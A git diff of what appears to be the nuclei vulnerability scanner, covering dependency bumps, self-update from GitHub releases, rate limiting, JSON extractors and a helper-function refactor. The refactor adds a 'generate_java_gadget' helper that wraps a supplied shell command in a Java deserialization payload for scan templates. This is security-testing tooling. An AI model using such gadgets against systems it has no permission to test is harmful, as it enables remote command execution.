h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM= github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc= +github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= +github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8= +github.com/ulikunitz/xz v0.5.10/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasttemplate v1.2.1 h1:TVEnxayobAdVkhQfrfes2IzOB6o+z4roRkPF52WA1u4= @@ -310,6 +375,8 @@ go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4= go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= go.uber.org/ratelimit v0.1.0 h1:U2AruXqeTb4Eh9sYQSTrMhH8Cb7M0Ian2ibBOnBcnAw= go.uber.org/ratelimit v0.1.0/go.mod h1:2X8KaoNd1J0lZV+PxJk/5+DGbO/tpwLR1m++a7FnB/Y= +go.uber.org/ratelimit v0.2.0 h1:UQE2Bgi7p2B85uP5dC2bbRtig0C+OeNRnNEafLjsLPA= +go.uber.org/ratelimit v0.2.0/go.mod h1:YYBV4e4naJvhpitQrWJu1vCpgB7CboMe0qhltKt6mUg= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= @@ -404,6 +471,7 @@ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -417,6 +485,7 @@ golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -434,8 +503,9 @@ golang.org/x/sys v0.0.0-20201113233024-12cec1faf1ba/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210601080250-7ecdf8ef093b h1:qh4f65QIVFjq9eBURLEYWqaEXmOyqdUyiBSgaXWccWk= +golang.org/x/sys v0.0.0-20210601080250-7ecdf8ef093b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -576,6 +646,7 @@ google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4 google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/corvus-ch/zbase32.v1 v1.0.0 h1:K4u1NprbDNvKPczKfHLbwdOWHTZ0zfv2ow71H1nRnFU= @@ -590,6 +661,7 @@ gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/v2/internal/runner/runner.go b/v2/internal/runner/runner.go index a98147be..27da4f29 100644 --- a/v2/internal/runner/runner.go +++ b/v2/internal/runner/runner.go @@ -63,6 +63,15 @@ func New(options *types.Options) (*Runner, error) { runner := &Runner{ options: options, } + if options.UpdateNuclei { + if err := updateNucleiVersionToLatest(runner.options.Verbose); err != nil { + return nil, err + } + return nil, nil + } + if err := runner.updateTemplates(); err != nil { + gologger.Warning().Msgf("Could not update templates: %s\n", err) + } if options.Headless { browser, err := engine.New(options) if err != nil { @@ -70,9 +79,6 @@ func New(options *types.Options) (*Runner, error) { } runner.browser = browser } - if err := runner.updateTemplates(); err != nil { - gologger.Warning().Msgf("Could not update templates: %s\n", err) - } runner.catalog = catalog.New(runner.options.TemplatesDirectory) var reportingOptions *reporting.Options @@ -194,10 +200,9 @@ func New(options *types.Options) (*Runner, error) { } runner.output = outputWriter - if options.JSON { + if options.JSON && options.EnableProgressBar { options.StatsJSON = true } - if options.StatsJSON { options.EnableProgressBar = true } @@ -235,7 +240,9 @@ func New(options *types.Options) (*Runner, error) { } } - if options.RateLimit > 0 { + if options.RateLimitMinute > 0 { + runner.ratelimiter = ratelimit.New(options.RateLimitMinute, ratelimit.Per(60*time.Second)) + } else if options.RateLimit > 0 { runner.ratelimiter = ratelimit.New(options.RateLimit) } else { runner.ratelimiter = ratelimit.NewUnlimited() diff --git a/v2/internal/runner/update.go b/v2/internal/runner/update.go index 4ae81047..45591f04 100644 --- a/v2/internal/runner/update.go +++ b/v2/internal/runner/update.go @@ -16,16 +16,22 @@ import ( "path" "path/filepath" "regexp" + "runtime" "strconv" "strings" "time" + "github.com/apex/log" "github.com/blang/semver" - "github.com/google/go-github/v32/github" + "github.com/google/go-github/github" "github.com/olekukonko/tablewriter" "github.com/pkg/errors" "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config" + + "github.com/tj/go-update" + "github.com/tj/go-update/progress" + githubUpdateStore "github.com/tj/go-update/stores/github" ) const ( @@ -76,6 +82,9 @@ func (r *Runner) updateTemplates() error { r.templatesConfig = currentConfig } + if r.options.NoUpdateTemplates { + return nil + } // Check if last checked for nuclei-ignore is more than 1 hours. // and if true, run the check. // @@ -179,7 +188,6 @@ func (r *Runner) updateTemplates() error { } if version.EQ(oldVersion) { - gologger.Info().Msgf("Your nuclei-templates are up to date: v%s\n", oldVersion.String()) return config.WriteConfiguration(r.templatesConfig, false, checkedIgnore) } @@ -533,3 +541,55 @@ func (r *Runner) githubFetchLatestTagRepo(repo string) (string, error) { } return strings.TrimPrefix(tags[0].Name, "v"), nil } + +// updateNucleiVersionToLatest implements nuclei auto-updation using Github Releases. +func updateNucleiVersionToLatest(verbose bool) error { + if verbose { + log.SetLevel(log.DebugLevel) + } + var command string + switch runtime.GOOS { + case "windows": + command = "nuclei.exe" + default: + command = "nuclei" + } + m := &update.Manager{ + Command: command, + Store: &githubUpdateStore.Store{ + Owner: "projectdiscovery", + Repo: "nuclei", + Version: config.Version, + }, + } + releases, err := m.LatestReleases() + if err != nil { + return errors.Wrap(err, "could not fetch latest release") + } + if len(releases) == 0 { + gologger.Info().Msgf("No new updates found for nuclei engine!") + return nil + } + + latest := releases[0] + var currentOS string + switch runtime.GOOS { + case "darwin": + currentOS = "macOS" + default: + currentOS = runtime.GOOS + } + final := latest.FindZip(currentOS, runtime.GOARCH) + if final == nil { + return fmt.Errorf("no compatible binary found for %s/%s", currentOS, runtime.GOARCH) + } + tarball, err := final.DownloadProxy(progress.Reader) + if err != nil { + return errors.Wrap(err, "could not download latest release") + } + if err := m.Install(tarball); err != nil { + return errors.Wrap(err, "could not install latest release") + } + gologger.Info().Msgf("Successfully updated to Nuclei %s\n", latest.Version) + return nil +} diff --git a/v2/internal/severity/misc.go b/v2/internal/severity/misc.go index 7bd98220..14012f73 100644 --- a/v2/internal/severity/misc.go +++ b/v2/internal/severity/misc.go @@ -3,8 +3,6 @@ package severity import ( "fmt" "strings" - - "github.com/projectdiscovery/goflags" ) type Severities []Severity @@ -14,11 +12,7 @@ func (severities Severities) String() string { } func (severities *Severities) Set(value string) error { - inputSeverities, err := goflags.ToStringSlice(value) - - if err != nil { - return err - } + inputSeverities := toStringSlice(value) for _, inputSeverity := range inputSeverities { if err := setSeverity(severities, inputSeverity); err != nil { @@ -47,3 +41,17 @@ func (severities *Severities) ToStringArray() []string { } return result } + +func toStringSlice(value string) []string { + var result []string + if strings.Contains(value, ",") { + slices := strings.Split(value, ",") + result = make([]string, 0, len(slices)) + for _, slice := range slices { + result = append(result, slice) + } + } else { + result = []string{value} + } + return result +} diff --git a/v2/internal/testutils/integration.go b/v2/internal/testutils/integration.go index b7af8445..1f59c301 100644 --- a/v2/internal/testutils/integration.go +++ b/v2/internal/testutils/integration.go @@ -1,9 +1,11 @@ package testutils import ( + "errors" "net" "os" "os/exec" + "regexp" "strings" ) @@ -30,6 +32,23 @@ func RunNucleiAndGetResults(template, url string, debug bool, extra ...string) ( return parts, nil } +var templateLoaded = regexp.MustCompile(`(?:Templates|Workflows) loaded: (\d+)`) + +// RunNucleiAndGetResults returns a list of results for a template +func RunNucleiBinaryAndGetLoadedTemplates(nucleiBinary string, args []string) (string, error) { + cmd := exec.Command(nucleiBinary, args...) + + data, err := cmd.CombinedOutput() + if err != nil { + return "", err + } + matches := templateLoaded.FindAllStringSubmatch(string(data), -1) + if len(matches) == 0 { + return "", errors.New("no matches found") + } + return matches[0][1], nil +} + // RunNucleiWorkflowAndGetResults returns a list of results for a workflow func RunNucleiWorkflowAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) { cmd := exec.Command("./nuclei", "-w", template, "-target", url, "-silent") diff --git a/v2/pkg/catalog/config/config.go b/v2/pkg/catalog/config/config.go index d437834e..478ef379 100644 --- a/v2/pkg/catalog/config/config.go +++ b/v2/pkg/catalog/config/config.go @@ -28,7 +28,7 @@ type Config struct { const nucleiConfigFilename = ".templates-config.json" // Version is the current version of nuclei -const Version = `2.4.x` +const Version = `2.4.3-dev` func getConfigDetails() (string, error) { homeDir, err := os.UserHomeDir() diff --git a/v2/pkg/catalog/loader/filter/tag_filter_test.go b/v2/pkg/catalog/loader/filter/tag_filter_test.go index 33b7bda1..475474b7 100644 --- a/v2/pkg/catalog/loader/filter/tag_filter_test.go +++ b/v2/pkg/catalog/loader/filter/tag_filter_test.go @@ -68,6 +68,15 @@ func TestTagBasedFilter(t *testing.T) { matched, _ := filter.Match([]string{"fuzz"}, []string{"pdteam"}, severity.High) require.True(t, matched, "could not get correct match") }) + t.Run("match-exclude-with-tags", func(t *testing.T) { + config := &Config{ + Tags: []string{"tag"}, + ExcludeTags: []string{"another"}, + } + filter := New(config) + matched, _ := filter.Match([]string{"another"}, []string{"pdteam"}, severity.High) + require.False(t, matched, "could not get correct match") + }) t.Run("match-conditions", func(t *testing.T) { config := &Config{ Authors: []string{"pdteam"}, diff --git a/v2/pkg/catalog/loader/loader.go b/v2/pkg/catalog/loader/loader.go index 0bab99c9..44d7a664 100644 --- a/v2/pkg/catalog/loader/loader.go +++ b/v2/pkg/catalog/loader/loader.go @@ -39,6 +39,8 @@ type Store struct { templates []*templates.Template workflows []*templates.Template + + preprocessor templates.Preprocessor } // New creates a new template store based on provided configuration @@ -77,6 +79,11 @@ func (s *Store) Workflows() []*templates.Template { return s.workflows } +// RegisterPreprocessor allows a custom preprocessor to be passed to the store to run against templates +func (s *Store) RegisterPreprocessor(preprocessor templates.Preprocessor) { + s.preprocessor = preprocessor +} + // Load loads all the templates from a store, performs filtering and returns // the complete compiled templates for a nuclei execution configuration. func (s *Store) Load() { @@ -106,7 +113,7 @@ func (s *Store) ValidateTemplates(templatesList, workflowsList []string) bool { gologger.Error().Msgf("Error occurred loading template %s: %s\n", k, err) continue } - _, err = templates.Parse(k, s.config.ExecutorOptions) + _, err = templates.Parse(k, s.preprocessor, s.config.ExecutorOptions) if err != nil { if strings.Contains(err.Error(), "cannot create template executer") { continue @@ -130,7 +137,7 @@ func (s *Store) ValidateTemplates(templatesList, workflowsList []string) bool { notErrored = false gologger.Error().Msgf("Error occurred loading workflow %s: %s\n", k, err) } - _, err = templates.Parse(k, s.config.ExecutorOptions) + _, err = templates.Parse(k, s.preprocessor, s.config.ExecutorOptions) if err != nil { if strings.Contains(err.Error(), "cannot create template executer") { continue @@ -157,7 +164,7 @@ func (s *Store) LoadTemplates(templatesList []string) []*templates.Template { gologger.Warning().Msgf("Could not load template %s: %s\n", k, err) } if loaded { - parsed, err := templates.Parse(k, s.config.ExecutorOptions) + parsed, err := templates.Parse(k, s.preprocessor, s.config.ExecutorOptions) if err != nil { gologger.Warning().Msgf("Could not parse template %s: %s\n", k, err) } else if parsed != nil { @@ -180,7 +187,7 @@ func (s *Store) LoadWorkflows(workflowsList []string) []*templates.Template { gologger.Warning().Msgf("Could not load workflow %s: %s\n", k, err) } if loaded { - parsed, err := templates.Parse(k, s.config.ExecutorOptions) + parsed, err := templates.Parse(k, s.preprocessor, s.config.ExecutorOptions) if err != nil { gologger.Warning().Msgf("Could not parse workflow %s: %s\n", k, err) } else if parsed != nil { diff --git a/v2/pkg/operators/common/dsl/dsl.go b/v2/pkg/operators/common/dsl/dsl.go index 65920539..8116ef13 100644 --- a/v2/pkg/operators/common/dsl/dsl.go +++ b/v2/pkg/operators/common/dsl/dsl.go @@ -1,12 +1,12 @@ package dsl import ( - "bytes" "crypto/md5" "crypto/sha1" "crypto/sha256" "encoding/base64" "encoding/hex" + "errors" "fmt" "html" "math" @@ -17,6 +17,7 @@ import ( "time" "github.com/Knetic/govaluate" + "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/deserialization" "github.com/projectdiscovery/nuclei/v2/pkg/types" "github.com/spaolacci/murmur3" ) @@ -29,113 +30,88 @@ const ( withMaxRandArgsSize = withCutSetArgsSize ) -// HelperFunctions contains the dsl helper functions -func HelperFunctions() map[string]govaluate.ExpressionFunction { - functions := make(map[string]govaluate.ExpressionFunction) - - functions["len"] = func(args ...interface{}) (interface{}, error) { +var functions = map[string]govaluate.ExpressionFunction{ + "len": func(args ...interface{}) (interface{}, error) { length := len(types.ToString(args[0])) return float64(length), nil - } - - functions["toupper"] = func(args ...interface{}) (interface{}, error) { + }, + "toupper": func(args ...interface{}) (interface{}, error) { return strings.ToUpper(types.ToString(args[0])), nil - } - - functions["tolower"] = func(args ...interface{}) (interface{}, error) { + }, + "tolower": func(args ...interface{}) (interface{}, error) { return strings.ToLower(types.ToString(args[0])), nil - } - - functions["replace"] = func(args ...interface{}) (interface{}, error) { + }, + "replace": func(args ...interface{}) (interface{}, error) { return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil - } - - functions["replace_regex"] = func(args ...interface{}) (interface{}, error) { + }, + "replace_regex": func(args ...interface{}) (interface{}, error) { compiled, err := regexp.Compile(types.ToString(args[1])) if err != nil { return nil, err } return compiled.ReplaceAllString(types.ToString(args[0]), types.ToString(args[2])), nil - } - - functions["trim"] = func(args ...interface{}) (interface{}, error) { + }, + "trim": func(args ...interface{}) (interface{}, error) { return strings.Trim(types.ToString(args[0]), types.ToString(args[2])), nil - } - - functions["trimleft"] = func(args ...interface{}) (interface{}, error) { + }, + "trimleft": func(args ...interface{}) (interface{}, error) { return strings.TrimLeft(types.ToString(args[0]), types.ToString(args[1])), nil - } - - functions["trimright"] = func(args ...interface{}) (interface{}, error) { + }, + "trimright": func(args ...interface{}) (interface{}, error) { return strings.TrimRight(types.ToString(args[0]), types.ToString(args[1])), nil - } - - functions["trimspace"] = func(args ...interface{}) (interface{}, error) { + }, + "trimspace": func(args ...interface{}) (interface{}, error) { return strings.TrimSpace(types.ToString(args[0])), nil - } - - functions["trimprefix"] = func(args ...interface{}) (interface{}, error) { + }, + "trimprefix": func(args ...interface{}) (interface{}, error) { return strings.TrimPrefix(types.ToString(args[0]), types.ToString(args[1])), nil - } - - functions["trimsuffix"] = func(args ...interface{}) (interface{}, error) { + }, + "trimsuffix": func(args ...interface{}) (interface{}, error) { return strings.TrimSuffix(types.ToString(args[0]), types.ToString(args[1])), nil - } - - functions["reverse"] = func(args ...interface{}) (interface{}, error) { + }, + "reverse": func(args ...interface{}) (interface{}, error) { return reverseString(types.ToString(args[0])), nil - } - + }, // encoding - functions["base64"] = func(args ...interface{}) (interface{}, error) { + "base64": func(args ...interface{}) (interface{}, error) { sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0]))) return sEnc, nil - } - + }, // python encodes to base64 with lines of 76 bytes terminated by new line "\n" - functions["base64_py"] = func(args ...interface{}) (interface{}, error) { + "base64_py": func(args ...interface{}) (interface{}, error) { sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0]))) - return insertInto(sEnc, 76, '\n'), nil - } - - functions["base64_decode"] = func(args ...interface{}) (interface{}, error) { + return deserialization.InsertInto(sEnc, 76, '\n'), nil + }, + "base64_decode": func(args ...interface{}) (interface{}, error) { return base64.StdEncoding.DecodeString(types.ToString(args[0])) - } - - functions["url_encode"] = func(args ...interface{}) (interface{}, error) { + }, + "url_encode": func(args ...interface{}) (interface{}, error) { return url.PathEscape(types.ToString(args[0])), nil - } - - functions["url_decode"] = func(args ...interface{}) (interface{}, error) { + }, + "url_decode": func(args ...interface{}) (interface{}, error) { return url.PathUnescape(types.ToString(args[0])) - } - - functions["hex_encode"] = func(args ...interface{}) (interface{}, error) { + }, + "hex_encode": func(args ...interface{}) (interface{}, error) { return hex.EncodeToString([]byte(types.ToString(args[0]))), nil - } - - functions["hex_decode"] = func(args ...interface{}) (interface{}, error) { + }, + "hex_decode": func(args ...interface{}) (interface{}, error) { hx, _ := hex.DecodeString(types.ToString(args[0])) return string(hx), nil - } - - functions["html_escape"] = func(args ...interface{}) (interface{}, error) { + }, + "html_escape": func(args ...interface{}) (interface{}, error) { return html.EscapeString(types.ToString(args[0])), nil - } - - functions["html_unescape"] = func(args ...interface{}) (interface{}, error) { + }, + "html_unescape": func(args ...interface{}) (interface{}, error) { return html.UnescapeString(types.ToString(args[0])), nil - } - + }, // hashing - functions["md5"] = func(args ...interface{}) (interface{}, error) { + "md5": func(args ...interface{}) (interface{}, error) { hash := md5.Sum([]byte(types.ToString(args[0]))) return hex.EncodeToString(hash[:]), nil - } - - functions["sha256"] = func(args ...interface{}) (interface{}, error) { + }, + "sha256": func(args ...interface{}) (interface{}, error) { h := sha256.New() _, err := h.Write([]byte(types.ToString(args[0]))) @@ -143,9 +119,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { return nil, err } return hex.EncodeToString(h.Sum(nil)), nil - } - - functions["sha1"] = func(args ...interface{}) (interface{}, error) { + }, + "sha1": func(args ...interface{}) (interface{}, error) { h := sha1.New() _, err := h.Write([]byte(types.ToString(args[0]))) @@ -153,27 +128,23 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { return nil, err } return hex.EncodeToString(h.Sum(nil)), nil - } - - functions["mmh3"] = func(args ...interface{}) (interface{}, error) { + }, + "mmh3": func(args ...interface{}) (interface{}, error) { return fmt.Sprintf("%d", int32(murmur3.Sum32WithSeed([]byte(types.ToString(args[0])), 0))), nil - } - + }, // search - functions["contains"] = func(args ...interface{}) (interface{}, error) { + "contains": func(args ...interface{}) (interface{}, error) { return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil - } - - functions["regex"] = func(args ...interface{}) (interface{}, error) { + }, + "regex": func(args ...interface{}) (interface{}, error) { compiled, err := regexp.Compile(types.ToString(args[0])) if err != nil { return nil, err } return compiled.MatchString(types.ToString(args[1])), nil - } - + }, // random generators - functions["rand_char"] = func(args ...interface{}) (interface{}, error) { + "rand_char": func(args ...interface{}) (interface{}, error) { chars := letters + numbers bad := "" if len(args) >= 1 { @@ -184,9 +155,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { } chars = trimAll(chars, bad) return chars[rand.Intn(len(chars))], nil - } - - functions["rand_base"] = func(args ...interface{}) (interface{}, error) { + }, + "rand_base": func(args ...interface{}) (interface{}, error) { l := 0 bad := "" base := letters + numbers @@ -202,9 +172,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { } base = trimAll(base, bad) return randSeq(base, l), nil - } - - functions["rand_text_alphanumeric"] = func(args ...interface{}) (interface{}, error) { + }, + "rand_text_alphanumeric": func(args ...interface{}) (interface{}, error) { l := 0 bad := "" chars := letters + numbers @@ -217,9 +186,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { } chars = trimAll(chars, bad) return randSeq(chars, l), nil - } - - functions["rand_text_alpha"] = func(args ...interface{}) (interface{}, error) { + }, + "rand_text_alpha": func(args ...interface{}) (interface{}, error) { l := 0 bad := "" chars := letters @@ -232,9 +200,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { } chars = trimAll(chars, bad) return randSeq(chars, l), nil - } - - functions["rand_text_numeric"] = func(args ...interface{}) (interface{}, error) { + }, + "rand_text_numeric": func(args ...interface{}) (interface{}, error) { l := 0 bad := "" chars := numbers @@ -247,9 +214,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { } chars = trimAll(chars, bad) return randSeq(chars, l), nil - } - - functions["rand_int"] = func(args ...interface{}) (interface{}, error) { + }, + "rand_int": func(args ...interface{}) (interface{}, error) { min := 0 max := math.MaxInt32 @@ -260,17 +226,41 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction { max = args[1].(int) } return rand.Intn(max-min) + min, nil - } - + }, // Time Functions - functions["waitfor"] = func(args ...interface{}) (interface{}, error) { + "waitfor": func(args ...interface{}) (interface{}, error) { seconds := args[0].(float64) time.Sleep(time.Duration(seconds) * time.Second) return true, nil - } + }, + // deserialization Functions + "generate_java_gadget": func(args ...interface{}) (interface{}, error) { + gadget := args[0].(string) + cmd := args[1].(string) + + var encoding string + if len(args) > 2 { + encoding = args[2].(string) + } + data := deserialization.GenerateJavaGadget(gadget, cmd, encoding) + return data, nil + }, +} + +// HelperFunctions returns the dsl helper functions +func HelperFunctions() map[string]govaluate.ExpressionFunction { return functions } +// AddHelperFunction allows creation of additiona helper functions to be supported with templates +func AddHelperFunction(key string, value func(args ...interface{}) (interface{}, error)) error { + if _, ok := functions[key]; !ok { + functions[key] = value + return nil + } + return errors.New("duplicate helper function key defined") +} + func reverseString(s string) string { runes := []rune(s) for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 { @@ -293,17 +283,3 @@ func randSeq(base string, n int) string { } return string(b) } - -func insertInto(s string, interval int, sep rune) string { - var buffer bytes.Buffer - before := interval - 1 - last := len(s) - 1 - for i, char := range s { - buffer.WriteRune(char) - if i%interval == before && i != last { - buffer.WriteRune(sep) - } - } - buffer.WriteRune(sep) - return buffer.String() -} diff --git a/v2/pkg/operators/extractors/compile.go b/v2/pkg/operators/extractors/compile.go index b189c3de..341340a3 100644 --- a/v2/pkg/operators/extractors/compile.go +++ b/v2/pkg/operators/extractors/compile.go @@ -4,6 +4,8 @@ import ( "fmt" "regexp" "strings" + + "github.com/itchyny/gojq" ) // CompileExtractors performs the initial setup operation on a extractor @@ -28,6 +30,18 @@ func (e *Extractor) CompileExtractors() error { e.KVal[i] = strings.ToLower(kval) } + for _, query := range e.JSON { + query, err := gojq.Parse(query) + if err != nil { + return fmt.Errorf("could not parse json: %s", query) + } + compiled, err := gojq.Compile(query) + if err != nil { + return fmt.Errorf("could not compile json: %s", query) + } + e.jsonCompiled = append(e.jsonCompiled, compiled) + } + // Setup the part of the request to match, if any. if e.Part == "" { e.Part = "body" diff --git a/v2/pkg/operators/extractors/extract.go b/v2/pkg/operators/extractors/extract.go index 5fecdcf9..58845a83 100644 --- a/v2/pkg/operators/extractors/extract.go +++ b/v2/pkg/operators/extractors/extract.go @@ -1,6 +1,8 @@ package extractors import ( + "encoding/json" + "github.com/projectdiscovery/nuclei/v2/pkg/types" ) @@ -42,3 +44,41 @@ func (e *Extractor) ExtractKval(data map[string]interface{}) map[string]struct{} } return results } + +// ExtractJSON extracts text from a corpus using JQ queries and returns it +func (e *Extractor) ExtractJSON(corpus string) map[string]struct{} { + results := make(map[string]struct{}) + + var jsonObj interface{} + + err := json.Unmarshal([]byte(corpus), &jsonObj) + + if err != nil { + return results + } + + for _, k := range e.jsonCompiled { + iter := k.Run(jsonObj) + for { + v, ok := iter.Next() + if !ok { + break + } + if _, ok := v.(error); ok { + break + } + var result string + if res, err := types.JSONScalarToString(v); err == nil { + result = res + } else if res, err := json.Marshal(v); err == nil { + result = string(res) + } else { + result = types.ToString(v) + } + if _, ok := results[result]; !ok { + results[result] = struct{}{} + } + } + } + return results +} diff --git a/v2/pkg/operators/extractors/extractors.go 